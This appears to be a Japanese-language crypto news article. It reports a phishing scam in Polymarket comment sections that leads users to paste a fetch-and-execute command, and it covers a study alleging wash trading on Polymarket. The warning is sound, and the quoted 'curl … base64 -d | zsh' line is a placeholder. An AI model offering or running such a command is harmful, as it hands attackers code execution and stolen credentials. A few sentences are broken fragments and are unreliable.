最新ニュース
あなたへのおすすめ

Polymarketプライベートマーケットのフィッシングリンク:ユーザーが警報を発する

著者ハンナ・コリーモアハンナ・コリーモア 3分で読了
Polymarketのプライベートマーケットにおけるフィッシングリンク:ユーザーが警報を発する。
  • X上のユーザーは、Polymarketのプライベートマーケットがハッカーによって悪用されていると主張し、懸念を表明しています。 
  • ハッカーらはPolymarketのコメントセクションから50万ドル以上を盗んだと報告されている。
  • Polymarketは、コロンビア大学の研究者が取引量がユーザーによるウォッシュトレーディングによって支えられていると主張してから数日しか経っていない。 

Polymarketが再び注目を集めています。今回は、 

これは、Polymarketプラットフォームにとって重要な時期に起こっている。同プラットフォームは米国市場への再参入を準備中だが、Kalshiのような競合他社に先んじることに苦戦している。 

Polymarketのプライベートマーケットにおけるフィッシングリンク:ユーザーが警報を発する。
ハッカーがPolymarketユーザーをフィッシングリンクにリダイレクトする典型的なメッセージのスクリーンショット。出典: @25usdc via X/Twitter。

Polymarketのトレーダーが高警戒態勢 

25usdcによるとハッカーはPolymarketのコメント欄を悪用して詐欺を働いており、これまでにユーザーは50万ドル以上を失っている。

「なぜPolymarketのプライベートマーケットで取引しないんだ?そっちの方がオッズはずっと良いんだぞ!」」と25usdcは書き、その後、この詐欺がどのように機能するのかを説明した。 

彼によると、すべては2つの異なるアカウントから1つのマーケットに対してYes株とNo株の両方を購入することから始まる。この方法により、「Holders」フィルターが有効になっている場合でも、彼らのコメントは残る。その後、彼らはURLを難読化された形式で投稿する。

そのURLは、無防備なユーザーをPolymarketのロゴが載った清潔感のあるページへ誘導し、メールアドレスによるログインを要求する。メールアドレスが確認されると、CloudFlareを模倣した新しいウィンドウが表示され、ユーザーにアクティビティの確認を促す。 

しかし、25usdc氏によると、「Copy」をクリックすると、「curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh」のようなコマンドがコピーされる。ユーザーがこれをターミナルに貼り付けるという過ちを犯した場合、まずbase64でエンコードされた文字列(サーバーURL)がデコードされ、その後、そのサーバーからスクリプトがフェッチされて即座に実行される。 

対象となるスクリプトには何が含まれていてもおかしくなく、ポップアップ警告も表示されないため、被害が確定した時点で、25usdc氏によれば唯一の対処法はWi-Fiをオフにすることになる。 

「最終的に、彼らはデータを収集し、あなたのシステム上のすべてをログに記録して、zipファイルにして自らのサーバーに送信します」と25usdcは書き込んだ。「その後、彼らはこのデータを使用してあなたのアカウントにログインし、あなたの資金を盗みます。」

彼が他に注目したのは、グループがどのように慎重に活動しているかでした。例えば、彼らは頻繁にウォレットを切り替えて足跡を隠し、あらゆる段階で情報を難読化し、アクティブな被害者がいないときにはペイロードを送信しログデータを収集するサーバーをシャットダウンすることさえあります。

「これを対処する最善の方法は、信頼できるユーザーがコメントをレビューできるようにすること、または強く低評価された投稿を非表示にするダウンボートシステムを導入することだと思います」と25usdcは結論付け、単純な〜が十分ではないことを指摘しました。 警告 Polymarketは現在、表示されるだけでは不十分です。 

新しい研究は、Polymarketの取引量がウォッシュトレーディングによって支えられていると主張しています

Cryptopolitanが 報告しました。これには完全な準備預金と独立監査が含まれます。、コロンビア大学の研究者によって最近発表された研究は、Polymarket上の活動の取引量がウォッシュトレーディングによって大幅に膨らまされていると主張しています。 

著者たちが「人工的な取引」と呼んだものは時間とともに変動しましたが、彼らは過去3年間にPolymarketでのすべての売買の平均25%を占めたと述べています。 

この論文はピアレビューを受けていませんが、すでにオープンアクセスの研究プラットフォームSSRNに掲載されており、Polymarketによってレビューされています。 

明確にするために、著者は〜を直接的に非難しているわけではありません Polymarket ウォッシュトレーディングについて。しかし、彼らは、この主張を妥当にする取引所の暗号通貨ベースの構造の要素を強調しています。  

また、同社の顧客が、創業者のShayne Coplan氏が10月8日にも発生の可能性を示唆していた独自のデジタルトークンへのアクセス権を得る機会を改善しようとして、独立して同様のウォッシュトレーディングを行った可能性も示唆しています。 

「Polymarketが私たちの論文の分析を歓迎してくれることを願っています」と、コロンビア大学ビジネススクールの教授であり、論文の4人の共著者の一人であるYash Kanoriaは電子メールで述べました。「ウォッシュトレーディングは市場に流動性や情報を追加しないため、本物と偽物の取引量を区別することは価値があると思われます。」

Polymarketの取引量の一部が本当に「架空」である場合、研究はそれが業界におけるPolymarketの相対的な強みに関する理解を変え、予測市場が「大衆の知恵」を反映しているという現在の概念を損なう可能性があると主張しています。

「大規模なウォッシュトレーディングの可能性は、取引量が本物のプラットフォーム活動の指標として信頼できないことを意味し、特に適切な保護策がない暗号通貨ベースの取引所ではそうなる可能性があります」と著者たちは結論付けました。

暗号通貨のニュースを読むだけでなく、それを理解しましょう。ニュースレターに登録してください。無料です。

この記事をシェア

免責事項。 ここに提供される情報は取引助言ではありません。 Cryptopolitan.com 当社は、このページに提供される情報に基づいて行われたいかなる投資に対しても責任を負いません。いかなる投資判断を下す前に、独立した調査および/または資格を有する専門家への相談を強く推奨します。

ハンナ・コリーモア

ハンナ・コリーモア

Hannahは、暗号通貨分野でほぼ10年にわたるブログ執筆およびイベントレポートの経験を持つライター兼編集者です。Cryptopolitanでは、ニュースページに寄稿し、DeFi、RWA(実世界資産)、暗号通貨規制、AI、フロンティアテック業界の最新の動向を報告・分析しています。アーケディア大学でビジネス経営の学位を取得しています。

もっと見る… ニュース